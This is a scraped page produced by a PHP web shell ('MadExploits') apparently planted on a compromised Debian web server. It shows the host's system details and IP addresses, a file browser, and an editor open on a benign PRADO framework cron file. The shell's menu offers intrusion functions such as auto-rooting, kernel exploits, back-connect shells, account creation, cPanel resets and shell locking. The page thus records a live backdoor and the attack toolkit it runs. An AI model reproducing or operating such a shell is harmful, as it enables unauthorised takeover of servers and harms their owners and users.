Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 3.149.214.28
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Util /
Cron /
[ HOME SHELL ]
Name
Size
Permission
Action
TCronMethodTask.php
2.88
KB
-rw-r--r--
TCronModule.php
19.51
KB
-rw-r--r--
TCronTask.php
5.39
KB
-rw-r--r--
TCronTaskInfo.php
3.61
KB
-rw-r--r--
TDbCronCleanLogTask.php
2.04
KB
-rw-r--r--
TDbCronModule.php
29.29
KB
-rw-r--r--
TShellCronAction.php
5.24
KB
-rw-r--r--
TShellCronLogBehavior.php
3.6
KB
-rw-r--r--
TShellDbCronAction.php
5.68
KB
-rw-r--r--
TTimeScheduler.php
22.51
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TCronMethodTask.php
<?php /** * TCronMethodTask class file. * * @author Brad Anderson <belisoful@icloud.com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Util\Cron; use Prado\Exceptions\TConfigurationException; use Prado\TPropertyValue; /** * TCronMethodTask class. * * This class will evaluate a specific method with parameters when * running the task the specified module. * <code> * <job schedule="* * * * *" task="dbcache->flushCacheExpired(true)" / > * <job schedule="* * * * *" task="dbcache->flushCacheExpired" / > * <job schedule="* * * * *" task="amodule->taskmethod($this->getModule()->getProperty())" / > * </code> * * The parenthesis may be omitted, or parameters may be functions themselves. * * @author Brad Anderson <belisoful@icloud.com> * @since 4.2.0 */ class TCronMethodTask extends TCronTask { /** @var string the method and parameters to call on the module */ private $_method; /** * @param null|\Prado\IModule|string $moduleId the module or id of the module to call * @param string $method the method and parameters on the */ public function __construct($moduleId = null, $method = null) { if ($moduleId !== null) { $this->setModuleId($moduleId); } if ($method !== null) { $this->setMethod($method); } } /** * @return string the user id executing the Task */ public function getTask() { return $this->getModuleId() . TCronModule::METHOD_SEPARATOR . $this->getMethod(); } /** * implements task to get the module from $_moduleId, then run $_method on it * @param TCronModule $cron the module calling the task */ public function execute($cron) { $method = $this->_method; if (strpos($method, '(') === false) { $method .= '()'; } $this->evaluateExpression('$this->getModule()->' . $method); } /** * Validates the method exists on the module, for manual task installation. */ public function validateTask() { $module = $this->getModule(); $method = $this->_method; if (($pos = strpos($method, '(')) !== false) { $method = substr($method, 0, $pos); } return method_exists($module, $method); } /** * Gets the module for the task based upon the {@link getModuleId}. * This verifies that the module does exist. * @throws TConfigurationException when no module is found * @return \Prado\IModule returns the module (from the application) of ModuleId */ public function getModule() { $module = parent::getModule(); if ($module === null) { throw new TConfigurationException('cronmethodtask_no_module', $this->getModuleId()); } return $module; } /** * @return string the method of the module to call */ public function getMethod() { return $this->_method; } /** * @param string $method the method of the module to call */ public function setMethod($method) { $this->_method = TPropertyValue::ensureString($method); } }
Close